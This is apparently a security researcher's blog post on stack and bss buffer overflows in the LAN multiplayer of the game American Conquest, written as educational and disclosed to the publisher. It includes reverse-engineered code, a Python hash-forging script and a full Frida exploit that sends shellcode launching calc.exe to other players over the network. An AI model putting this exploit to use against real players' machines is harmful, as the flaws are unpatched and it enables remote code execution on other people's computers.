Exploiting American Conquest
- 16/04/2024 - dansBack in 2023, we looked for vulnerabilities in American Conquest as a side research project. We found and reported multiple stack buffer overflow. Despite the publisher will not fix the bugs because the game is too old, we share today the details of our research. This is an interesting article for those who want to get started in researching and exploiting vulnerabilities.
Introduction
American Conquest is a real-time strategy game developed by GSC Game World. The action takes place between 1492 and 1783, the player leads a faction of the American territory. Released in 2003, the game was republished by GOG platform. A multiplayer mode via internet or LAN is available. In this research we focus on the LAN mode.
Getting started
A quick look with Process Explorer1 and we see that the executable is not subject to either ASLR or DEP. Under Windows 10 DEP is forced by default for all programs, however there is an exception, binaries compiled in 32 bits (which is our case). Another interesting point, when playing multiplayer the program launches a child process named dplaysvr.exe
. It is a component that ensures compatibility of programs using DirectPlay under Windows 10.
A network capture show us that the game uses DirectPlay protocol. For a slightly more detailed explanation of the protocol, I invite you to read the specification https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MC-DPL4CS/%5bMC-DPL4CS%5d.pdf .
Reversing
To begin, we will look at the messages sent in the chat.
When sending a message, we can observe a UDP packet in Wireshark containing the sent text. This is preceded by the text size on 4 bytes and a message type also on 4 bytes "CHAT" (in reverse order).
To find the part of the code that manages the processing of different message types, we need to find where the "CHAT" string is used in the binary. It does not appear in the "Strings" view of IDA2. The disassembler only lists strings found in data sections (.data, .rodata, ...). It is likely that the string was encoded directly in assembler. As a reminder, in x86 the mov eax, imm instruction is encoded as follows B8 XX XX XX XX.
With the "Search Immediate" functionality we search for an operand whose value is 0x43484154 ('TAHC'). We then obtain two results:
Vulnerabilities
After reverse engineering the function in charge of processing different messages, we see that the chat messages are copied into a temporary buffer according to the length field. There is probably a risk that the ChatTempBuffer (0x006B88D8) variable overflows, this is a bss overflow vulnerability.
case 'CHAT':
memcpy(ChatTempBuffer, &_packet->data.chat.message, _packet->data.chat.length);
ChatTempBuffer[_packet->data.chat.length] = 0;
dword_6B89D8 = idTo;
break;
case 'ALLY':
[...]
Another interesting point is the processing of the “FIDN” message. This message allows you to obtain the size of a game resource via its path. Resources are stored as files in the installation folder or as binary blobs in a .GSC (proprietary format) archive. When the game searches for a file by name in an archive, it calculates a hash of the name to compare it with the different hashes of the different file entries in the archive. The function that calculates the hash of the name is vulnerable to a stack buffer overflow. The name is copied into a 64 byte buffer via the strcpy
function.
int __cdecl hash_set_func(char *String)
{
char *v1; // eax
int checksum; // edx
int v3; // ecx
char *v4; // ebx
int v5; // eax
int v6; // eax
char v7; // t1
char Destination[64]; // [esp+4h] [ebp-40h] BYREF
memset(Destination, 0, sizeof(Destination));
v1 = _strupr(String);
strcpy(Destination, v1);
checksum = 0;
v3 = 0x10;
v4 = Destination;
do
{
v5 = *(_DWORD *)v4;
BYTE1(v5) = *(_DWORD *)v4;
LOBYTE(v5) = BYTE1(*(_DWORD *)v4);
v6 = __ROL4__(v5, 0x10);
v7 = BYTE1(v6);
BYTE1(v6) = v6;
LOBYTE(v6) = v7;
checksum += v6;
v4 += 4;
--v3;
}
while ( v3 );
return checksum;
}
Exploit
Let's go back to what we know, we have a binary:
- without ASLR
- without DEP
- without Canary / Stack Cookie
To have a stable exploit I prefer to rely on addresses which are not subject to the environment. The binary is almost sure to be loaded according to the ImageBase.
Lowercase characters are converted to uppercase, and null bytes indicate an end of string for strcpy
, which is annoying when writing shellcode. By sending the shellcode in the chat, it will be copied into the bss via a memcpy which allows us to use the entire character set.
We now need to find a way to return to our shellcode. Unfortunately the address contains lowercase ASCII characters which will be converted to uppercase by strupr
. Let's try to do something with the following gadget.
0x00462a36: jmp eax
You must ensure that the result of the hash of the file path gives the desired address. The first naive method is to brute force the path in order to obtain the correct value. The second method consists of varying the first 60 bytes of the path, which gives us the exit state n-1. Then calculate the next 4 bytes, so as to obtain the desired value. To do this, you must reverse the last turn of the loop.
mov ecx, 10h
lea ebx, [ebp + source]
HashLoop:
mov eax, [ebx]
xchg ah, al
rol eax, 10h
xchg ah, al
add edx, eax
add ebx, 4
loop HashLoop
mov eax, edx
We can easily express a loop turn in the form of an equation, we look for $x$ such that
\begin{align} xchg(rol(xchg(x),16)) + edx = 0x006B88D8 \end{align}
$edx$ corresponds to the hash of the first 60 bytes of the path, it is a constant. All that remains is to isolate $x$ knowing that the operations $xchg$ and $rol$ are reversible ( $xchg(xchg(x)) = x$ and $ror(rol(x,16),16) = x$ ).
\begin{align} \texttt{xchg(rol(xchg(x),16)) + edx = 0x006B88D8} \\ \texttt{xchg(rol(xchg(x),16)) = 0x006B88D8 - edx} \\ \texttt{rol(xchg(x),16) = xchg(0x006B88D8 - edx)} \\ \texttt{xchg(x) = ror(xchg(0x006B88D8 - edx),16)} \\ \texttt{x = xchg(ror(xchg(0x006B88D8 - edx),16))} \end{align}
Then we check that the result does not contain invalid characters. Below is a python implementation for forging a valid hash.
import struct
import random
ROL = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ROR = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def xchg(reg):
return (reg & 0xFFFF0000) | ((reg & 0x0000FF00) >> 8) | ((reg & 0x000000FF) << 8)
def checksum(buffer):
edx = 0
for i in range(0,len(buffer),4):
eax = struct.unpack("<I",buffer[i:i+4])[0]
eax = xchg(eax) # xchg ah, al
eax = ROL(eax,0x10,32) # rol eax, 0x10
eax = xchg(eax) # xchg ah, al
edx = (edx + eax) & 0xFFFFFFFF # add edx, eax
return edx
def round_inv(state,expected):
return xchg(ROR(xchg((expected - state) & 0xFFFFFFFF),0x10,32))
allowed_chars = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
def check(string):
for e in string:
if e not in allowed_chars:
return False
return True
for c in allowed_chars:
for c2 in allowed_chars:
for c3 in allowed_chars:
for c4 in allowed_chars:
prebuf=(bytes([c]) * 57) + bytes([c2,c3,c4])
state = checksum(prebuf)
append = round_inv(state,0x006B88D8)
endbuf = struct.pack("<I",append)
if check(endbuf):
print("%s : %x" % (prebuf + endbuf,checksum(prebuf + endbuf)))
A possible solution is,
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA||!-]{)
Then the exploitation is a classic stack buffer overflow. It takes 64 bytes to fill the local variable plus 8 bytes to reach the return address because of some registers saved by the function on the stack.
With a Frida3 script we can hook the function sending chat messages and send crafted messages when the user enters "/exploit". Firstly send a chat message that contains a shellcode that will be placed in .bss . Secondly send a FIDN message that will exploit stack buffer overflow to execute shellcode send before.
const send_message_ptr = ptr('0x00409447');
const send_chat_message_ptr = ptr('0x0040BACD');
const send_message = new NativeFunction(send_message_ptr,'int',['int','pointer','int']);
const send_chat_message = new NativeFunction(send_chat_message_ptr,'int',['pointer','int']);
Interceptor.replace(send_chat_message_ptr,new NativeCallback((msg,bAlly) => {
if(msg.readCString() == "/exploit")
{
var p = Memory.alloc(195 +4+4 + 2);
p.add(0).writeU32(0x43484154);
p.add(4).writeU32(195 + 2);
// shellcode WinExec calc.exe
p.add(8).writeByteArray([0x00,0xe5,137, 229, 131, 236, 32, 49, 219, 100, 139, 91, 48, 139, 91, 12,
139, 91, 28, 139, 27, 139, 27, 139, 67, 8, 137, 69, 252, 139, 88, 60, 1, 195, 139, 91,
120, 1, 195, 139, 123, 32, 1, 199, 137, 125, 248, 139, 75, 36, 1, 193, 137, 77, 244,
139, 83, 28, 1, 194, 137, 85, 240, 139, 83, 20, 137, 85, 236, 235, 50, 49, 192, 139,
85, 236, 139, 125, 248, 139, 117, 24, 49, 201, 252, 139, 60, 135, 3, 125, 252, 102,
131, 193, 8, 243, 166, 116, 5, 64, 57, 208, 114, 228, 139, 77, 244, 139, 85, 240,
102, 139, 4, 65, 139, 4, 130, 3, 69, 252, 195, 186, 120, 120, 101, 99, 193, 234,
8, 82, 104, 87, 105, 110, 69, 137, 101, 24, 232, 184, 255, 255, 255, 49, 201, 81,
104, 46, 101, 120, 101, 104, 99, 97, 108, 99, 137, 227, 65, 81, 83, 255, 208, 49,
201, 185, 1, 101, 115, 115, 193, 233, 8, 81, 104, 80, 114, 111, 99, 104, 69, 120, 105,
116, 137, 101, 24, 232, 135, 255, 255, 255, 49, 210, 82, 255, 208]);
send_message(195+4+4 + 2,p,0);
var length = 4 + 64 + 12;
var p2 = Memory.alloc(length);
p2.add(0).writeU32(0x4649444E);
p2.add(4).writeAnsiString("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA||!-]{)");
p2.add(4 + 64 + 0).writeU32(0x41414141);
p2.add(4 + 64 + 4).writeU32(0x41414141);
p2.add(4 + 64 + 8).writeU32(0x00462a36); // jmp eax
return send_message(length,p2,0);
}else{
return send_chat_message(msg,bAlly);
}
},'int',['pointer','int']));
Conclusion
Most of the code was written 20 years ago. Therefore, the code contains a lot of vulnerabilities that are easily exploitable due to security mitigations disabled in PE. We reported the vulnerabilities to the publisher GSC Game World but they will not fix the vulnerablities because the game is too old.
References
- Process Explorer : https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer
- IDA : https://hex-rays.com/ida-pro/
- Frida : https://frida.re/